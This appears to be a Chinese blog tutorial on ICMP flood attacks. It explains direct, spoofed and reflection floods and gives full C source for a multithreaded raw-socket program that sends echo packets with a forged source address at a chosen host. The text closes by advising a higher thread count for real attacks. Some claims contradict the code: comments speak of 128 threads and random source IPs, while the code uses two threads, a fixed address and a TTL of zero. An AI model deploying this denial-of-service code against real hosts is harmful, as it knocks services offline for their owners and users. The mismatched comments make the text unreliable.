1. 程式人生 > >Linux網路程式設計之ICMP洪水攻擊

Linux網路程式設計之ICMP洪水攻擊

1. ICMP洪水攻擊原理

ICMP洪水攻擊基於PING協議,通過傳送大量的PING包來攻擊目標主機,主要攻擊有3類:

(1)直接洪水攻擊,即通過多執行緒的方式一次性發送大量的ICMP包,其缺點是容易暴露,對方知道你的IP,可以直接遮蔽

(2)偽裝IP攻擊, 在直接洪水攻擊的基礎上,將傳送方的IP地址用偽裝的IP地址來代替

(3)反射攻擊, 偽裝目標主機向一群主機發送ICMP請求包,這樣,這些主機就會向目標主機發送ICMP響應包,達到攻擊的目的


2. ICMP洪水攻擊實現

建立多執行緒,向目標主機發送大量的ICMP包,以此來攻擊目標主機.

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
/**
ICMP洪水攻擊:
原理:一次性向ICMP目的主機發送大量的ICMP包讓目的主機處理不過來,這樣目的主機就會變得很慢,甚至宕機.
直接洪水攻擊:容易暴露,對方遮蔽你的IP地址
偽裝IP地址:偽裝IP地址,進行洪水攻擊
反射攻擊:偽裝目的主機的IP地址向一幫主機發送ICMP回顯請求包,這樣這些主機就會向目的主機發送ICMP回顯響應包,達到攻擊目的主機的目的。
**/
#define MAXCHILD 2
static unsigned long dest=0;//目的IP地址
static int PROTO_ICMP=-1;//ICMP協議值
static alive=1;//程式活動標誌
static int rawsock;
static void DoS_sig();
void DoS_fun(unsigned long ip);
void DoS_icmp(void);
static inline long myrandom(int begin,int end){//根據不同的種子,隨機出不同的數
 int gap=end-begin+1;
 int ret=0;
 //系統時間初始化
 srand((unsigned)time(0));
 ret=random()%gap+begin;//介於begin與end之間的值
 return ret;
}

 void DoS_fun(unsigned long ip){
   while(alive){
     DoS_icmp();//一直髮送ICMP回顯請求包
}
}
static unsigned short icmp_cksum(unsigned char* data,int len){//校驗和函式,通用演算法
 int sum=0;
 int odd=len&0x01;
unsigned short *value=(unsigned short*)data;
while(len&0xfffe){
  sum+=*(unsigned short*)data;
  data+=2;
  len-=2;
}


if(odd){
  unsigned short tmp=((*data)<<8)&0xff00;
  sum+=tmp;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
return ~sum;
}
 void DoS_icmp(void){
   struct sockaddr_in to;
   struct ip *iph;
   struct icmp *icmph;
   char*packet;
   struct in_addr src;
   struct in_addr dst;
   int pktsize=sizeof(struct ip)+8+64;//IP資料包的長度,IP的頭部,icmp的頭部和56個位元組的資料
   packet=malloc(pktsize);//為資料包分配空間
   iph=(struct ip*)packet;//IP的頭部指標
   icmph=(struct icmp*)(packet+sizeof(struct ip));//ICMP的頭部指標
   memset(packet,0,pktsize);//將資料包的所有部分清0
  //填充IP頭部
  iph->ip_v=4;//IP的版本,IPv4
  iph->ip_hl=5;//IP頭部長度,20個位元組5*4
  iph->ip_tos=0;//服務型別
  iph->ip_len=htons(pktsize);//IP報文的總長度
  iph->ip_id=htons(getpid());//標識設定為程序PID
  iph->ip_off=0;//段的偏移地址
  iph->ip_ttl=0;//生成時間
  iph->ip_p=PROTO_ICMP;//協議型別為ICMP包
  iph->ip_sum=0;//校驗和
  src.s_addr=inet_addr("222.27.253.108");
  iph->ip_src=src;//傳送的源地址,偽裝IP
  dst.s_addr=dest;
  iph->ip_dst=dst;//傳送的目的地址
  iph->ip_sum=icmp_cksum((unsigned char*)iph,sizeof(struct ip));//檢驗和,IP首部長度
  //填充ICMP頭部 傳送ICMP回顯請求包與ICMP回顯響應包,因此icmp_type為8,icmp_code為0,資料部分為0
  icmph->icmp_type=ICMP_ECHO;
  icmph->icmp_code=0;
  icmph->icmp_cksum=icmp_cksum((unsigned char*)icmph,64+8);//資料長度與首部長度之和
  //icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));
//傳送的目的地址
  to.sin_family=AF_INET;
  to.sin_addr.s_addr=iph->ip_dst.s_addr;
  to.sin_port=htons(0);
  //傳送ICMP包
  int size=sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));//pktsize包含IP首部的長度
  free(packet);//釋放分配的記憶體空間

}
static void DoS_sig(){
  alive=0;
  printf("exit.....\n");
  return;

}


//主函式
int main(int argc,char*argv[]){
 struct hostent*host=NULL;
 struct protoent *protocol=NULL;
 int i=0;
 char protoname[]="icmp";
 pthread_t pthread[MAXCHILD];//執行緒陣列  
 int err=-1;
 alive=1;
 signal(SIGINT,DoS_sig);
 if(argc<2){
    return -1;
}

//獲得協議型別
protocol=getprotobyname(protoname);
if(protocol==NULL){
  perror("getprotobyname");
  return -1;
}
PROTO_ICMP=protocol->p_proto;
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE){
  struct sockaddr_in dst;
  host=gethostbyname(argv[1]);
  if(host==NULL){
   perror("gethostbyname");
  return -1;
}

memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.sin_addr.s_addr;
}
//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);
//設定IP選項,手動填充IP頭部資訊,設定套接字選項
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多執行緒,128個執行緒同時發ICMP包
for(i=0;i<MAXCHILD;i++){
  err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待執行緒結束
for(i=0;i<MAXCHILD;i++){
  pthread_join(pthread[i],NULL);

}
close(rawsock);

return 0;
}

通過tcpdump可以看出發出去的請求包與響應包.

命令1: tcpdump

命令2: tcpdump dst host 222.27.253.108

說明:本程式中的IP地址是隨機的,可以達到偽裝IP地址的目的。在實際的攻擊中,把執行緒數設定大一些即可。


總結: 本文主要是利用原始套接字偽裝IP地址來實現ICMP洪水攻擊.讓伺服器接收到大量的ICMP包,造成伺服器超負載,從而達到攻擊的目的。